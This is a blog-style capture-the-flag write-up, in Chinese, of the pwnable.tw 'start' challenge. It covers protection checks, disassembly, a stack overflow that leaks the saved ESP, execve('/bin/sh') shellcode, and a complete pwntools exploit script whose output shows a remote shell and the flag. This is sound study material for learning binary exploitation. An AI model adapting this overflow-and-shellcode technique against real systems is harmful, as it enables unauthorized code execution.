328 lines
10 KiB
Markdown
328 lines
10 KiB
Markdown
---
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title: 【Pwnable.tw】start
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date: 2019-10-25 21:04:14
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tags:
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- 二进制
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- Linux
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- CTF
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categories: Pwn
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---
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# [Pwnable.tw](http://pwnable.tw/) start
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程序链接：https://pwnable.tw/static/chall/start
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## 0x01 检查保护情况
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不得不说，[checksec](http://www.trapkit.de/tools/checksec.html)这个工作看似简单，用用现成工具就行，但这决定了我们之后漏洞利用的方式，是否栈代码执行，还是ROP。
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最好多用几个工具进行检查，兼听则明。比如这个程序用peda检查就开启了NX，但实际上并没有。所以理想的话，把shellcode布置到栈上就可以了！
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```shell
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$ checksec ./start
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Arch: i386-32-little
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RELRO: No RELRO
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Stack: No canary found
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NX: NX disabled
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PIE: No PIE (0x8048000)
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```
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**RELRO(Relocation Read Only)：尽量使存储区域只读**
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## 0x02 漏洞分析
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用IDA逆向分析，汇编代码
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```c
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保存现场环境esp、_exit
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.text:08048060 push esp
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.text:08048061 push offset _exit
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清空寄存器EAX EBX ECX EDX
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.text:08048066 xor eax, eax
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.text:08048068 xor ebx, ebx
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.text:0804806A xor ecx, ecx
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.text:0804806C xor edx, edx
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向栈上压入参数
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.text:0804806E push 3A465443h CTF:
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.text:08048073 push 20656874h the
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.text:08048078 push 20747261h art
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.text:0804807D push 74732073h s st
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.text:08048082 push 2774654Ch Let’
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系统调用80h
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.text:08048087 mov ecx, esp ; addr
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.text:08048089 mov dl, 14h ; len
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.text:0804808B mov bl, 1 ; fd
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.text:0804808D mov al, 4
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.text:0804808F int 80h ; LINUX - sys_write
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系统调用80h
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.text:08048091 xor ebx, ebx
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.text:08048093 mov dl, 3Ch
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.text:08048095 mov al, 3
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.text:08048097 int 80h ; LINUX -
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恢复栈平衡，返回到_exit
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.text:08048099 add esp, 14h
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.text:0804809C retn
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.text:0804809C _start endp ; sp-analysis failed
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```
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### **INT 80h 系统调用方法**
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**系统调用的过程**可以总结如下：
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1． 执行用户程序(如:fork)
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2． 根据glibc中的函数实现，取得系统调用号并执行int $0x80产生中断。
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3． 进行地址空间的转换和堆栈的切换，执行SAVE_ALL。（进行内核模式）
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4． 进行中断处理，根据系统调用表调用内核函数。
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5． 执行内核函数。
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6． 执行RESTORE_ALL并返回用户模式
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Linux 32位的系统调用时通过int 80h来实现的，eax寄存器中为调用的功能号，ebx、ecx、edx、esi等等寄存器则依次为参数。
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[关于系统调用的功能号](http://syscalls.kernelgrok.com/)：
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```shell
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#define __NR_exit 1
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#define __NR_fork 2
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#define __NR_read 3
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#define __NR_write 4
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#define __NR_open 5
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#define __NR_close 6
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#define __NR_waitpid 7
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#define __NR_creat 8
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#define __NR_link 9
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#define __NR_unlink 10
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#define __NR_execve 11
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```
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**第一个系统调用：**
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将esp开始的14h字节数据写入标准输出（文件描述符1），即输出"Let's start the CTF:“
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|name |eax |ebx |ecx |edx |
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|--- |--- |--- |--- |--- |
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|[sys_write](http://www.kernel.org/doc/man-pages/online/pages/man2/write.2.html) |0x04 |unsigned int fd = 1 |const char __user *buf = esp |size_t count =14h |
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|--- |--- |--- |--- |--- |
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**第二个系统调用：**
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从标准输入读取3ch字节到栈空间
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|name |eax |ebx |ecx |edx |
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|--- |--- |--- |--- |--- |
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|[sys_read](http://www.kernel.org/doc/man-pages/online/pages/man2/read.2.html) |0x03 |unsigned int fd = 1 |char __user *buf = esp |size_t count = 3ch |
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|--- |--- |--- |--- |--- |
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### 栈变化情况
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1. 程序执行到0804808F：sys_write
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输出14h字节数据：Let's start the CTF:
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```
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+-----------------+ <----
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| Let’ | |
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+-----------------+ |
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| s st | |
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+-----------------+ |
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| art | 14h
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+-----------------+ |
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| the | |
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+-----------------+ |
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| CTF: | |
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+-----------------+ <-----
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| offset _exit |
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+-----------------+
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| Saved ESP |
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H-> +-----------------+
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```
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1. 08048097: sys_read
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read函数最多可以读取3ch字节，超出了分配的空间，可以用来覆盖ret_addr和esp。经调试验证，20字节后覆盖ret，24字节后覆盖esp。
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```
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gdb-peda$ pattern search
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Registers contain pattern buffer:
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EIP+0 found at offset: 20
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Registers point to pattern buffer:
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[ECX] --> offset 0 - size ~32
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[ESP] --> offset 24 - size ~8
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Pattern buffer found at:
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0xffcc2764 : offset 0 - size 30 ($sp + -0x18 [-6 dwords])
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Reference to pattern buffer not found in memory
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```
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```
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+-----------------+ <----
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| aaaa | |
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+-----------------+ |
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| aaaa | |
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+-----------------+ |
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| aaaa | 14h
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+-----------------+ |
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| aaaa | |
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+-----------------+ |
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| aaaa | |
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+-----------------+ <-----
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| aaaa |
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+-----------------+
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| Saved ESP |
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H-> +-----------------+
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```
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## 0x03 漏洞利用
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### 利用思路
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现在EIP已经在我们的掌控之中了，关键是如何跳转到布置的shell code中。一般来说，首先会去找JMP ESP指令，这样就能让shellcode获得执行。但这段汇编代码没有，可以利用的只有read和write。如果可以write出Saved ESP的地址，然后覆盖掉offset _exit，就能成功shell。
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1. 泄露Saved ESP
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```python
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start = p.recvuntil(':') //等待write执行完毕
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payload = 'a'*0x14 + p32(0x08048087) //发送溢出数据，覆盖ret为0x08048087->输出14h字节
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p.send(payload)
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data = p.recv() //接收输出数据，其中就有Saved ESP
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```
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debug过程：
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```shell
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[DEBUG] Received 0x14 bytes:
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"Let's start the CTF:"
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[DEBUG] Sent 0x18 bytes:
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00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
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00000010 61 61 61 61 87 80 04 08 │aaaa│····││
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00000018
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[DEBUG] Received 0x14 bytes:
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00000000 **20 53 81**** ff** 01 00 00 00 58 6d 81 ff 00 00 00 00 │ S··│····│Xm··│····│
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00000010 60 6d 81 ff │`m··││
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00000014
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```
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2. 覆盖RET
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此时程序已经泄露出之前的Saved_esp，栈的情况已经摸清了，然后程序继续执行read，注意read完 add esp, 14h后再ret，因此，ret_addr在esp+14h的地方。
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```python
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payload = 'a'*0x14 + p32(saved_esp + 20) + shellcode
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print p32(saved_esp)
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p.send(payload)
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```
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3. shellcode
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shellcode同样可以用系统调用的方式执行execve("/bin/sh",NULL,NULL)
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|name |eax |ebx |ecx |edx |esi |
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|--- |--- |--- |--- |--- |--- |
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|[sys_execve](http://www.kernel.org/doc/man-pages/online/pages/man2/execve.2.html) |0x0b |char __user * |char __user *__user * |char __user *__user * |[struct pt_regs](http://lxr.free-electrons.com/source/arch/alpha/include/asm/ptrace.h?v=2.6.35#L19) |
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|--- |--- |--- |--- |--- |--- |
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其中，该程序是 32 位，所以我们需要使得
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* 系统调用号，即 eax 应该为 0xb
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* 第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。
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* 第二个参数，即 ecx 应该为 0
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* 第三个参数，即 edx 应该为 0
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```c
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xor eax,eax //清空eax
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push eax //0入栈，当作字符/bin/sh结尾
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push '/sh'
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push '/bin' //'/sh'为3字节，未对齐' ->'/sh\0'或//sh
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mov ebx, esp //指向/bin/sh地址
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xor ecx,ecx
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xor edx,edx
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mov al, 0xb //系统调用号
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int 80
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```
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```c
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shellcode='''
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xor eax,eax
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push eax
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push %s
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push %s
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mov ebx, esp
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xor ecx,ecx
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xor edx,edx
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mov al, 0xb
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int 0x80''' %(u32('/sh\0'),u32('/bin'))
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```
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使用asm(shellcode)来进行汇编,可以使用context来指定cpu类型以及操作系统，如context(arch = 'amd64' , os = 'linux', log_level="debug")
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### Catch THE FLAG
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```python
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from pwn import *
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from binascii import *
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shellcode='''
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xor eax,eax
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push eax
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push %s
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push %s
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mov ebx, esp
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xor ecx,ecx
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xor edx,edx
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mov al, 0xb
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int 0x80''' %(u32('/sh\0'),u32('/bin'))
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def dbg():
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p = process('./start')
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context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
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context.log_level = 'debug'
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gdb.attach(proc.pidof(p)[0])
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pause()
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return p
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def leak_esp(p):
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start = p.recvuntil(':')
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payload = 'a'*0x14 + p32(0x08048087)
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p.send(payload)
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saved_esp = p.recv()[:4]
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return u32(saved_esp)
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def pwn(p,saved_esp):
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payload = 'a'*0x14 + p32(saved_esp + 20) + asm(shellcode)
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p.send(payload)
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p.interactive()
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if __name__ == '__main__':
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# p = dbg()
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# p = process("./start")
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p = remote("chall.pwnable.tw",10000)
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saved_esp = leak_esp(p)
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print "leak saved_esp: %s" %hex(saved_esp+20)
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pwn(p,saved_esp)
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```
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```shell
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$ python ./start.py
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[+] Opening connection to chall.pwnable.tw on port 10000: Done
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leak saved_esp: 0xffb43704
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[*] Switching to interactive mode
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$ whoami
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start
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$ find -name flag
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./home/start/flag
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$ cat ./home/start/flag
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FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}
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```
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## REF
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[Linux 系统调用](https://introspelliam.github.io/2017/08/06/pwn/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E7%BA%A6%E5%AE%9A/)
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**pwntools使用**
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http://brieflyx.me/2015/python-module/pwntools-intro/
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https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
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https://tianstcht.github.io/pwntools%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/
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